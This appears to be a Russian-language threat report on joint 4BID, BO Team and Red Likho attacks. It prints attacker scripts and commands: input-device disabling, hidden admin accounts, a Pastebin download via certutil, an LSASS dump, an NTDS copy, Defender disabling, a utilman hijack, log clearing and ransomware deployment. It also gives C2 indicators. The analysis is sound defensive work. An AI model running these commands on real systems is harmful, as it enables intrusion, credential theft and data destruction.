Введение
В последние месяцы мы наблюдаем растущую тенденцию к одновременным атакам нескольких хактивистских групп на одни и те же организации. Подобные кампании уже не являются чем-то необычным и значительно усложняют атрибуцию, поскольку становится сложно определить тактики, методы и процедуры (TTP) отдельных групп.
В рамках продолжающегося исследования ландшафта киберугроз, нацеленных на организации в Российской Федерации, мы проанализировали серию кампаний, о которых публично заявляла группа 4BID, позиционирующая себя как проукраинская. В организациях, затронутых этими кампаниями, мы также обнаружили свидетельства активности, связанной с двумя другими известными хактивистскими группами: BO Team и Red Likho. В частности, в некоторых случаях атакованная 4BID инфраструктура также была заражена бэкдором GoRed, связанным с Red Likho, и ZeronetKit, связанным с BO Team. Обе группы известны проведением масштабных операций против российских целей.
Группа 4BID заявила о себе в начале 2025 года. Ее основная публичная активность ведется в Telegram-канале. Злоумышленники атакуют российские организации из различных отраслей, включая производство, здравоохранение и государственный сектор. Изначально целями были небольшие региональные компании, однако впоследствии группа переключилась на более крупные предприятия.
Тот факт, что в инфраструктуре целей присутствуют инструменты и вредоносное ПО нескольких групп: программа-вымогатель 4BID, бэкдоры BO Team и Red Likho, а также уникальные компоненты, ранее не встречавшиеся в других кампаниях, свидетельствует о том, что разные группы атаковали их параллельно или совместно для достижения общих целей. В этом отчете мы подробно рассмотрим активность 4BID и ее пересечения с другими хактивистами.
Технические детали
Новые файлы шифровальщиков
Одной из самых интересных находок стал пакет из нескольких файлов, каждый из которых отвечает за определенные задачи и запускает следующий. Первым выполнялся PowerShell-скрипт Edgeupdate.ps1. Этот скрипт не встречался в публичных репозиториях вредоносных программ и не был замечен в других атаках, что позволяет предположить, что это специализированный инструмент, вероятно, разработанный для конкретной кампании. Он выполняет ряд скрытых деструктивных операций, нацеленных на защиту от обнаружения и закрепление в системе.
На первом этапе настраивается ведение журнала, что упрощает работу с ошибками и последующее устранение неполадок. Также в скрипте присутствует блок проверки времени. Если указанная в коде дата больше текущей (то есть еще не наступила), в журнал записывается сообщение «Выход из скрипта из-за проверки даты», а выполнение скрипта прерывается командой exit. Этот механизм позволяет скрипту работать по принципу логической бомбы.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
$LogFilePath = Join-Path -Path $PSScriptRoot -ChildPath "UpdateCheck.log" function Write-Log { [CmdletBinding()] param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [psobject]$InputObject ) process { if ([bool]$env:DEBUG) { # Convert the incoming object to a string format suitable for a log file. $message = $InputObject | Out-String -Stream foreach ($line in $message) { if (-not [string]::IsNullOrWhiteSpace($line)) { $LogEntry = "[{0}] - {1}" -f (Get-Date -Format 'yyyy-MM-dd HH:mm:ss'), $line Add-Content -Path $LogFilePath -Value $LogEntry } } } Write-Verbose $InputObject } } Get-Date | Write-Log $specifiedDateTime = Get-Date "2025-07-29 15:00:00 +3" $currentDateTime = Get-Date if ($specifiedDateTime -gt $currentDateTime) { Write-Host "Exiting script due to date check." | Write-Log exit } |
Следующий шаг — блокировка устройств ввода. Скрипт ищет их с помощью команды Get-PnpDevice -FriendlyName 'HIDKeyboardDevice'. Для каждого найденного устройства вызывается команда, которая отключает его без запроса подтверждения. После этого аналогичные действия — поиск и отключение — выполняются для классов Keyboard и Mouse (клавиатуры и мыши).
|
1 2 3 4 5 6 7 |
Get-PnpDevice -FriendlyName 'HID Keyboard Device' | %{Disable-PnpDevice -InputObject $_ -ErrorAction SilentlyContinue -Confirm:$false} Get-PnpDevice -Class Keyboard | %{Disable-PnpDevice -InputObject $_ -ErrorAction SilentlyContinue -Confirm:$false} Get-PnpDevice -Class Mouse | %{Disable-PnpDevice -InputObject $_ -ErrorAction SilentlyContinue -Confirm:$false} Write-Host "Devices disabled." |
Отключив устройства ввода, скрипт создает пользователя с заданными именем и паролем, присваивает параметрам PasswordExpires и Disabled значение FALSE и добавляет пользователя в группу локальных администраторов. После этого настраивается автоматический вход в Windows под созданным пользователем с регистрацией имени, пароля и домена в реестре.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$userName = "[REDACTED]" $password = "[REDACTED]" $domain = "." $userExists = net user $userName 2>$null $addUser = net user $userName $password /add wmic useraccount where "name='$userName'" set PasswordExpires=FALSE | Write-Log wmic useraccount where "name='$userName'" set Disabled=FALSE | Write-Log $group = (Get-LocalGroup -SID "S-1-5-32-544").Name net localgroup $group $userName /add | Write-Log Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "AutoAdminLogon" -Value "1" | Write-Log Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultUserName" -Value $userName | Write-Log Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultPassword" -Value $password | Write-Log Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultDomainName" -Value $domain | Write-Log |
На следующем этапе скрипт настраивает хост таким образом, чтобы после перезагрузки компьютер загрузился в безопасном режиме с поддержкой сети. Затем он копирует библиотеку NPLogon.dll в папку System32. После этого создается сетевой провайдер для выполнения библиотеки в безопасном режиме, а также служба для ее прямого запуска.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
cmd.exe /c "bcdedit /set {default} safeboot network" $Name = "NPLogon" $LogEngineLifeCycleEvent=$false; $LogEngineHealthEvent=$false; $LogProviderLifeCycleEvent=$false; $LogProviderHealthEvent=$false; $dllFile = ".\NPLogon.dll" $sysPath = "C:\Windows\System32\$Name.dll" if (Test-Path $sysPath) { $newName = $name + "32.dll" mv $sysPath "C:\Windows\System32\$newName" | Write-Log } cp $dllFile $sysPath Write-Host "DLL copied" | Write-Log $Path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER $UpdatedValue = $Path.PROVIDERORDER + ",$Name" Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue | Write-Log New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$Name" | Write-Log $NPPath = "HKLM:\SYSTEM\CurrentControlSet\Services\$Name\NetworkProvider" New-Item -Path $NPPath | Write-Log New-ItemProperty -Path $NPPath -Name "Class" -Value 2 | Write-Log New-ItemProperty -Path $NPPath -Name "Name" -Value $Name | Write-Log New-ItemProperty -Path $NPPath -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\$Name.dll" | Write-Log |
Далее скрипт отключает протокол ms-contact-support, который Windows использует для открытия приложения «Связаться со службой поддержки». В результате при попытке вызвать функцию «Служба поддержки Windows» открывается и тут же закрывается cmd.exe.
|
1 2 3 4 5 6 7 8 9 10 |
$protocol = "ms-contact-support" $baseKey = "HKLM:\SOFTWARE\Classes\$protocol" New-Item -Path $baseKey -Force | Write-Log Set-ItemProperty -Path $baseKey -Name '(Default)' -Value 'Custom Handler' | Write-Log $commandKey = "$baseKey\shell\open\command" New-Item -Path $commandKey -Force | Write-Log | Write-Log Set-ItemProperty -Path $commandKey -Name '(Default)' -Value 'cmd.exe /c exit' | Write-Log |
На последнем шаге скрипт удаляет следы своей работы и перезагружает хост.
|
1 2 3 |
Write-Host "Removing myself..." | Write-Log | Write-Log Remove-Item -Recurse -Confirm:$false -Force (Join-Path $dir "NPLogon.dll") | Write-Log Start-Process -FilePath "shutdown.exe" -ArgumentList "-r", "-f", "-t", "0" -WindowStyle Hidden | Write-Log |
После перезагрузки запускается библиотека NPLogon.dll, подготовленная скриптом. Она создает исполняемый файл nplsvc.exe и соответствующую службу NPLogon Service, а затем запускает файл. Nplsvc.exe демонстрирует ложное обновление системы, которое является своего рода заглушкой, призванной усыпить бдительность пользователя, пока дальнейшая полезная нагрузка выполняется в фоновом режиме.
Кроме того, NPLogon.dll извлекает данные из файла update.dat и на их основе создает новый файл. Мы предполагаем, что именно этот файл выполняет основную полезную нагрузку. К сожалению, нам не удалось получить файл update.dat для анализа. Однако на основе анализа других обнаруженных в системе жертвы артефактов мы можем утверждать, что это программа-вымогатель Blackout Locker. В зависимости от версии, эта программа-вымогатель реализует различные схемы шифрования: некоторые варианты используют простой цикл XOR, другие — шифр AES в режиме GCM.
Стоит отметить, что вредоносные файлы NPLogon.dll и nplsvc.exe, а также связанные с ними файлы с аналогичной функциональностью ранее были обнаружены в инфраструктурах нескольких жертв. О компрометации одной из них публично заявила BO Team, а другой — 4BID.
Blackout Locker
В атаках 4BID мы обнаружили образец новой программы-вымогателя, который назвали Blackout Locker. Он написан на C/C++ и, несмотря на сходство имени, не имеет ничего общего с шифровальщиком Blackout, активным в период с 2020 по 2024 год и написанным на .NET.
Blackout Locker способен массово завершать процессы, которые могут помешать шифрованию данных:
- Функция KillProcesses принимает в качестве аргумента зашитую в коде строку со списком целевых подстрок (список процессов).
- Используя WinAPI CreateToolhelp32Snapshot, троянец получает список всех запущенных процессов в системе.
- С помощью WinAPI Process32First и Process32Next выполняется обход запущенных процессов.
- Для каждого процесса имя преобразуется в нижний регистр.
- Если в имени процесса содержится одна из подстрок из зашитого в коде троянца списка, он завершается вызовом TerminateProcess.
Список процессов, которые завершает Blackout Locker.
|
1 |
sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad;calc;wuauclt;onedrive |
Помимо этого, вредоносное ПО имеет функцию массового завершения работы сервисов, которые могут ему помешать:
- Функция KillServices с помощью WinAPI OpenSCManagerA открывает доступ к локальному менеджеру служб Windows с параметром 0xf003f — MAXIMUM_ALLOWED (полный доступ).
- Функция принимает в качестве аргумента зашитый в коде троянца список сервисов, из которого берет одну строку на итерацию и выполняет следующие функции:
- OpenServiceA(hSCManager, lpServiceName, 0x10024) — открывает службу с правами SERVICE_STOP | DELETE (0x10024).
- ControlService(rax, 1, &lpServiceStatus) — отправляет службе команду STOP (код 1).
- DeleteService(rax) — удаляет службу из системы.
- CloseServiceHandle(rax) — закрывает дескриптор сервиса.
- После обработки всех сервисов дескриптор менеджера закрывается.
Список сервисов, подлежащих завершению.
|
1 |
WinDefend;Sense;WdNisSvc;MsMpSvc;vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr |
Шифровальщик также содержит функцию перезаписи главной загрузочной записи (MBR). Она открывает первый физический диск (PhysicalDrive0) с правами записи. Затем создается новый буфер размером 512 байт, равный сектору MBR. Первые 0x12 байт заполняются машинным кодом (B8 00 B8 BB…) — это начало загрузчика, а чуть дальше записывается строка System Locke. После этого весь подготовленный сектор размером 512 байт записывается непосредственно в нулевой сектор диска (MBR) и полностью заменяет исходную главную загрузочную запись.
Однако злоумышленники не добавили в свою версию MBR байты 0x55 0xAA, которые должны завершать этот сектор. Без них система сочтет сектор недопустимым и не будет загружаться с него, соответственно, процедура перезаписи MBR в такой реализации просто ломает систему.
Еще одна функция шифровальщика отвечает за очистку стандартных журналов событий Windows. Сначала подготавливается массив со строками, соответствующими названиям журналов:
- Application
- Security
- System
Далее в цикле для каждого журнала выполняется ряд действий:
- OpenEventLogA(NULL, name) — открытие указанного журнала.
- ClearEventLogA(hEventLog, NULL) — полная очистка этого журнала событий.
- CloseEventLog(hEventLog) — закрытие дескриптора.
Исполняемый файл содержит оригинальные (не обфусцированные) имена функций. В частности, функцию шифрования содержимого файла злоумышленники назвали LockBitEncryptFile. Это ложный флаг: в действительности троянец не имеет ничего общего с настоящим LockBit.
Функция LockBitEncryptFile принимает следующие входные параметры:
- путь к файлу для обработки;
- 32-байтовый ключ шифрования (возвращается функцией generate_fernet_key(), но, несмотря на название, ключ не генерируется, а жестко прописан в коде троянца);
- флаг (логическое значение), указывающий, следует ли ограничивать количество шифруемых байтов. Если флаг установлен, шифруется не более 1024 байтов (0x400), в противном случае — файл целиком;
- дополнительный параметр функции шифрования EncryptData(), который подвергается операции XOR с начальным значением (seed), переданным в srand().
Функция EncryptData представляет собой симметричное XOR-шифрование с ключом и псевдослучайной генерацией:
- Данные шифруются побайтно с использованием XOR.
- Ключ составляется на основе следующей комбинации:
- байты строки arg3 (циклически повторяются);
- псевдослучайная последовательность из функции rand().
Входные параметры функции EncryptData:
- данные (буфер), подлежащие шифрованию/дешифрованию;
- длина данных;
- 32-байтовый ключ;
- дополнительный параметр, с которым значение seed, передаваемое функции srand(), подвергается операции XOR.
Поскольку код троянца не предусматривает сохранение последовательности, выдаваемой функцией rand(), мы с высокой степенью уверенности предполагаем, что авторы планировали использовать эту программу как вайпер, то есть троянец для уничтожения данных. Расшифровывать данные, не зная этой последовательности, невозможно. Хотя отметим, что используется нестабильный генератор псевдослучайных чисел, что делает нестабильной всю схему шифрования. Это может указывать на то, что создатели шифровальщика в целом не очень хорошо разбираются в криптографии.
Функция encrypt_file запускает процесс шифрования файлов и присваивает им расширение .blackout. При шифровании Blackout Locker игнорирует файлы из белого списка.
|
1 |
autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat |
Также не шифруются файлы со следующими расширениями.
|
1 |
386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-ms |
Перед запуском шифрования Blackout Locker выполняет ряд деструктивных действий, направленных на защиту от обнаружения и лишение пользователей доступа к системе. В частности, зловред блокирует диски и папки при помощи функции RestrictAccessToDrivesAndFolders. Эта функция:
- Получает токен процесса текущего пользователя.
- Включает привилегию SeTakeOwnershipPrivilege, чтобы иметь возможность менять владельца файлов и папок.
- Проходится по всем дискам (буквы A: — Z:) и изменяет их DACL, запрещая доступ обычным пользователям.
- Применяет аналогичные ограничения ко всем папкам на дисках.
Другие действия, выполняющиеся перед началом шифрования файлов:
- Отключение модулей Microsoft Defender
|
1 2 3 4 5 6 7 |
powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true" |
- Отключение всех пользователей, кроме стандартных
|
1 |
wmic useraccount where "Name!='Administrator' and Name!='Guest'" set Disabled=True |
- Отключение интерпретатора командной строки путем установки соответствующего флага в следующей ветке реестра
|
1 2 3 |
Registry: Software\Policies\Microsoft\Windows\System Value: DisableCMD ValueData: 0x1 |
- Включение DisableRegistryTools посредством установки соответствующего флага в следующей ветке реестра
|
1 2 3 |
Registry: SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System Value: DisableRegistryTools ValueData: 0x1 |
В одной из последних кампаний мы обнаружили обновленный образец вымогателя Blackout Locker. Основным отличием этой версии является переработанная криптография: файлы теперь шифруются с помощью AES-128-GCM. Ключ шифрования жестко прописан в исполняемом файле, а одноразовый код (nonce) рандомизирован и хранится вместе с зашифрованными данными в каждом обрабатываемом файле. В отличие от предыдущей версии, которая была разработана как вайпер, этот образец реализует криптографическую схему, позволяющую расшифровать данные при наличии ключа. Кроме того, этот образец не содержит кода для перезаписи MBR, что также подтверждает предположение, что он предназначен для использования в качестве обычного шифровальщика, а не вайпера.
Шифровальщик Babuk
Мы обнаружили вымогатель Babuk у одной из жертв рассматриваемых группировок. Файл шифровальщика имел стандартное имя e_win.exe, характерное для сборок, созданных с помощью оригинального сборщика Babuk, который попал в открытый доступ в 2021 году. В связи с тем, что Babuk широко распространен и присутствует в арсенале как BO Team, так и 4BID, мы не можем однозначно отнести этот образец к какой-либо группе.
Кастомные скрипты
В ходе расследования был обнаружен репозиторий Pastebin с набором из нескольких скриптов, написанных, судя по содержащимся в них учетным данным, для конкретной кампании. На устройство жертвы скрипты загружались с помощью утилиты certutil.exe.
|
1 |
certutil.exe -split -urlcache -f https://pastebin.com/raw/[REDACTED] [Script].ps1 |
Первый скрипт предназначен для автоматической проверки компьютеров в сети на наличие установленного программного обеспечения AnyDesk: он считывает список хостов из файла, проверяет доступность каждого компьютера и, если компьютер доступен, ищет AnyDesk.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
# paths $blorfGix = 'C:\Windows\Temp\hosts.txt' $psexecZap = 'C:\Windows\Temp\PsExec64.exe' # credentials $torakan = "[REDACTED]" $shibPass = "[REDACTED]" # reading hosts $klomFex = Get-Content -Path $blorfGix foreach ($nurka in $klomFex) { # status check if (Test-Connection -ComputerName $nurka -Count 1 -Quiet) { # PsExec if alive try { # running dir to view the output $dirOut = & $psexecZap "\\$nurka" -accepteula -i -s -u $torakan -p $shibPass cmd /c 'dir "C:\Program Files (x86)"' # looking for AnyDesk if ($dirOut -match "AnyDesk") { Write-Host "[$nurka] - AnyDesk found" -ForegroundColor Green } else { Write-Host "[$nurka] - AnyDesk not found" -ForegroundColor Yellow } } catch { Write-Host "[$nurka] - error starting PsExec: $_" -ForegroundColor Red } } else { Write-Host "[$nurka] - not accessible with ICMP" -ForegroundColor DarkGray } } |
Второй скрипт выполняет аналогичные действия, но в отношении продуктов «Лаборатории Касперского».
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
# path to files $blorfGix = Join-Path $PSScriptRoot "hosts.txt" $psexecZap = Join-Path $PSScriptRoot "PsExec64.exe" # credentials $torakan = "[REDACTED]" $shibPass = "[REDACTED]" # reading hosts $klomFex = Get-Content -Path $blorfGix foreach ($nurka in $klomFex) { # status check if (Test-Connection -ComputerName $nurka -Count 1 -Quiet) { # PsExec if alive try { # running dir to view the output $dirOut = & $psexecZap "\\$nurka" -accepteula -i -s -u $torakan -p $shibPass cmd /c 'dir "C:\Program Files (x86)"' # looking for Kaspersky Lab if ($dirOut -match "Kaspersky Lab") { Write-Host "[$nurka] - Kaspersky Lab found" -ForegroundColor Green } else { Write-Host "[$nurka] - Kaspersky Lab not found" -ForegroundColor Yellow } } catch { Write-Host "[$nurka] - error starting PsExec: $_" -ForegroundColor Red } } else { Write-Host "[$nurka] - not accessible with ICMP" -ForegroundColor DarkGray } } |
Последний скрипт предназначен для установки и настройки AnyDesk на компьютере, а также для управления пользователями. На первом этапе проверяется существование указанного в теле скрипта каталога; если каталог не существует, скрипт создает его, загружает исполняемый файл AnyDesk, устанавливает его в скрытом режиме и настраивает автозапуск при старте Windows. После этого устанавливается пароль для удаленного доступа через AnyDesk, создается локальный пользователь с указанным паролем, который добавляется в группу администраторов и скрывается с экрана входа с помощью ключа реестра SpecialAccounts, а также получает идентификатор AnyDesk на устройстве.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
function Invoke-ZxYv { param ( [string]$qGkL = "C:\ProgramData\AnyDesk", [string]$RtYh = "http://download.anydesk.com/AnyDesk.exe", [string]$UzPm = "[REDACTED]", [string]$BgNd = "[REDACTED]", [string]$KvWs = "[REDACTED]" ) try { if (-not (Test-Path -Path $qGkL -PathType Container)) { New-Item -Path $qGkL -ItemType Directory | Out-Null } $xTaR = Join-Path -Path $qGkL -ChildPath "AnyDesk.exe" Invoke-WebRequest -Uri $RtYh -OutFile $xTaR Start-Process -FilePath $xTaR -ArgumentList "--install $qGkL --start-with-win --silent" -Wait | Out-Null Start-Process -FilePath $xTaR -ArgumentList "--set-password=$UzPm" -Wait | Out-Null $secure = ConvertTo-SecureString -String $KvWs -AsPlainText -Force New-LocalUser -Name $BgNd -Password $secure | Out-Null Add-LocalGroupMember -Group "Administrators" -Member $BgNd $regKey = 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' Set-ItemProperty -Path $regKey -Name $BgNd -Value 0 -Type DWORD -Force Start-Process -FilePath $xTaR -ArgumentList "--get-id" -Wait | Out-Null Write-Host "Done.`n" } catch { Write-Host "Oops: $_" } } Invoke-ZxYv |
Tuoni и CobaltStrike
В ходе расследования одной из кампаний мы обнаружили пропатченные образцы Process Explorer. Некоторые из них загружали Tuoni, а другие — Cobalt Strike. Аналогичные пропатченные образцы использовались в атаках Red Likho и BO Team.
Все образцы Tuoni, которые мы наблюдали, взаимодействовали с одним и тем же сервером C2.
| Домен | Регистратор |
| op2a.beemooshka-v1[.]art | NameCheap, Inc |
Обнаруженные образцы Cobalt Strike обращались к следующим серверам C2.
| IP | ASN | Имя сети | Страна | Провайдер |
| 82.202.173[.]167 | 29182 | RU-WEBDC-20031006 | Россия | JSC Datacenter |
| 144.172.112[.]179 | — | ROUTERHOSTING | США | RouterHosting LLC |
Сервер C2 82.202.173[.]167 мы ранее видели в атаках группы Red Likho.
ZeronetKit backdoor
Следующий выявленный образец — бэкдор ZeronetKit, считающийся «фирменным» инструментом BO Team. ZeronetKit — это бэкдор на языке Go. Его название происходит от строки ZeroNet by Vegas — мы находили образцы ранних версий бэкдора с таким именем. ZeronetKit был впервые обнаружен в конце 2024 года. Подробное описание функциональности бэкдора представлено в отдельной статье.
| Домен | Регистратор |
| urbantvpn[.]online | NameCheap, Inc |
| wholewell[.]online | NameCheap, Inc. |
Бэкдор GoRed
У одной из жертв, о которых публично заявила группа 4BID, мы обнаружили бэкдор GoRed, связанный с Red Likho.
Кража учетных данных
T1003.001 OS Credential Dumping: LSASS Memory
В одном из инцидентов мы зафиксировали попытку получения дампа памяти процесса LSASS (Local Security Authority Subsystem Service), который используется злоумышленниками для извлечения учетных данных, с помощью стандартного компонента Windows — библиотеки comsvcs.dll, вызываемой через rundll32.exe.
|
1 |
%COMSPEC% /Q /c Cmd.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\J0FARaY.db full |
Также была задокументирована команда, которая изменяет конфигурацию загрузки Windows, включая безопасный режим с загрузкой сетевых драйверов, после чего следует немедленная перезагрузка системы.
|
1 |
cmd.exe /Q /c bcdedit /set {current} safeboot network && shutdown -r -f -t 0 1> \Windows\Temp\WsMeHC 2>&1 |
В атаках с использованием ZeronetKit злоумышленники изменяли его метаданные.
|
1 2 3 4 5 |
c:\windows\system32\diagsrv.exe powershell -c '$file = "$system32\diagsrv.exe"; (Get-Item $file).creationtime= Get-Date "07/07/2016 16:18:00"; (Get-Item $file).lastaccesstime= Get-Date "07/07/2016 16:18:00"; (Get-Item $file).lastwritetime= Get-Date "07/07/2016 16:18:00"' |
T1003.003 OS Credential Dumping: NTDS
В одном случае злоумышленники использовали утилиту ntdsutil.exe для создания копии базы данных Active Directory (NTDS.dit).
|
1 |
ntdsutil.exe "ac i ntds" "ifm" "create full $appdata\ad" q q |
T1003.002 OS Credential Dumping: Security Account Manager
Злоумышленники экспортировали раздел реестра Security в файл.
|
1 |
$hklm\security,$temp\brcioyzn.tmp |
Закрепление в системе, выполнение и обход обнаружения
T1112 ModifyRegistry
Атакующие отключали для RDP аутентификацию на уровне сети (NLA) путем изменения значения параметра реестра UserAuthentication в разделе RDP-Tcp. Это снижает требования к аутентификации для сеансов RDP, упрощая злоумышленникам получение доступа путем повторного использования учетных данных или подбора пароля.
|
1 |
reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f |
T1562 ImpairDefenses
Злоумышленники использовали команду, которая изменяет настройки Windows Defender, отключая защиту в режиме реального времени, что позволяет вредоносному ПО работать незамеченным.
|
1 |
powershell.exe set-mppreference -disablerealtimemonitoring $true |
T1546.008 Event Triggered Execution: Accessibility Features
Злоумышленники использовали ключи реестра Image File Execution Options (IFEO), чтобы назначить cmd.exe в качестве отладчика для файла utilman.exe, отвечающего за специальные возможности. Это позволяет получить привилегии SYSTEM при запуске приложения Ease of Access с экрана входа.
|
1 |
reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d $system32\cmd.exe /f |
T1053.005 Scheduled Task/Job: Scheduled Task
Злоумышленники использовали групповые политики (GPO) и запланированные задания для распространения Babuk по всему домену. Запланированные задания копируют архив вредоносной программы (e_win.zip) с сетевого ресурса, распаковывают локально и запускают через PowerShell.
|
1 2 3 4 5 6 7 |
Scheduled task: \\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\[Task_Id]}:Actions Babuk zip copying, unzip and execution: `powershell.exe` Add-Type -A 'System.IO.Compression.FileSystem'; $src='\\[DOMAIN]\NETLOGON\e_win.zip'; $dst='C:\ProgramData\e_win'; [IO.Compression.ZipFile]::ExtractToDirectory($src, $dst); Start-Process `$dst\e_win.exe` |
T1070.001 Indicator Removal: Clear Windows Event Logs
Для обхода защиты злоумышленники очищали журналы событий при помощи встроенной утилиты wevtutil.exe, предназначенной для управления журналами и их источниками.
|
1 2 3 4 5 6 |
wevtutil.exe el wevtutil.exe cl "Active Directory Web Services" wevtutil.exe cl "Analytic wevtutil.exe cl "Application" wevtutil.exe cl "DFS Replication" … |
Сотрудничество с другими группами
В апреле 2025 года в комментарии к одной из публикаций в Telegram-канале BO Team участник 4BID оставил предложение о сотрудничестве. В одной из недавних кампаний 4BID мы обнаружили образцы бэкдора ZeronetKit, ранее применявшегося исключительно в операциях BO Team и считавшегося их инструментом. Это говорит о том, что 4BID, возможно, действует не полностью автономно или использует инструменты и ресурсы других групп.
Цели
Все рассмотренные в этой статье кампании были нацелены на организации в Российской Федерации из различных секторов экономики, включая производство, медицину и государственный сектор.
Атрибуция
Для атрибуции анализируемой активности обратимся к следующим ключевым наблюдениям.
- Использование вредоносного ПО. Мы исследовали следующие файлы, имеющие отношение к описанным в статье атакам:
- Вредоносные файлы NPLogon.dll, nplsvc.exe и подобные им, обладающие идентичной функциональностью, которые были обнаружены в инфраструктурах нескольких жертв. О компрометации одной из них публично заявила BO Team, а другой — 4BID.
- Образец программы-вымогателя Blackout Locker, который оставляет записку с требованием выкупа, содержащую адрес электронной почты 4BID. На сегодняшний день мы не наблюдали подобных образцов программ-вымогателей в кампаниях других злоумышленников.
- Бэкдор ZeronetKit, ранее наблюдавшийся исключительно в операциях BO Team.
- Образцы бэкдора GoRed, которые были обнаружены в инфраструктуре, зараженной образцами из предыдущих пунктов.
- Внутрикластерное сотрудничество: все описанные показатели свидетельствуют о том, что несколько групп действовали в инфраструктуре жертв параллельно или скоординированно для достижения схожих целей.
- Публичные заявления в Telegram: группы 4BID и BO Team открыто заявляли в своем Telegram-канале о целях, среди которых были жертвы описанных в статье кампаний.
Заключение
Мы рассмотрели серию киберкампаний, которую отличает тот факт, что одну и ту же жертву одновременно атаковали две или три хактивистские группы. Этот сценарий значительно усложняет атрибуцию, поскольку не позволяет однозначно определить тактики, методы и процедуры (TTP) каждой отдельной группы. Обнаруженный в инцидентах инструментарий указывает на гибридный подход злоумышленников: с одной стороны, они совершают такие деструктивные действия, как шифрование данных, нарушение работы инфраструктуры и публичное раскрытие скомпрометированной информации; с другой стороны, реализуют и более сложные операции, включая кибершпионаж и использование настраиваемых бэкдоров. Текущая тенденция указывает на продолжающуюся эволюцию хактивизма: злоумышленники становятся более гибкими, интегрируя готовые решения и разрабатывая собственные инструменты, при этом все чаще используют ресурсы совместно. Это увеличивает вероятность проведения более частых, масштабных и технически сложных кампаний.
Индикаторы компрометации
Обратите внимание: сетевые адреса, приведенные в настоящем разделе, являются действительными на момент публикации, однако могут оказаться неактуальными в перспективе. Больше индикаторов компрометации доступно подписчикам Kaspersky Threat Intelligence Portal. Чтобы узнать подробности, свяжитесь с нами по адресу crimewareintel@kaspersky.com.
Образцы Tuoni
F812BDAECDCEC818D015B1A8D1D21C40 procexp.exe
925EEA2692C4D8DEC9B8F1C94A8C8229 systcp.exe
E5B2E603861E8E01B7A03122280F2E90 msdtsr.exe
Образцы Cobalt Strike
EEDA5A1A503233F6DE3EAC3F34CABC2F mstdpool.exe
5470DD5E57D0060D98891D8F5740E5B2 msbtsc.exe
8B66D1EDA2F1E0A858E0747307552E0B msdtsc.exe
Образцы ZeronetKit
6FE8943F364F6308C2E46910BFFEFEAF fontdrv.exe
71612EBCC591B2475D3488E5580DB56A diagsrv.exe
ADRecon (инструмент разведки домена)
BDC4FD7329E5F5BAA7964B24C61171FD adrecon.ps1
Образцы шифровальщиков
D528158A6459A71A33E3C05A606B6B33 e_win.exe
0E6578DC4F95565C1426E3F188D36460 NPLogon.dll
32F9C7FB69BB7EE76E19F4BBEE16F4B3 MicrosoftUpdate.ps1
2D85FB64F37E78913C20EE9C886D33BE blackout.exe
0EFEB6B9699B7FBEBF5E0657A14C7F88 1.exe
Пути к файлам
c:\windows\system32\diagsrv.exe
c:\windows\system32\fontdrv.exe
c:\ps1\adrecon.ps1
c:\veeam\veeam.exe
Домены и IP
op2a.beemooshka-v1[.]art Tuoni С2
urbantvpn[.]online ZeronetKit С2
wholewell[.]online ZeronetKit С2
82.202.173[.]167 Cobalt Strike С2
144.172.112[.]179 Cobalt Strike С2















Один за всех и все за одного: совместные атаки 4BID, BO Team и Red Likho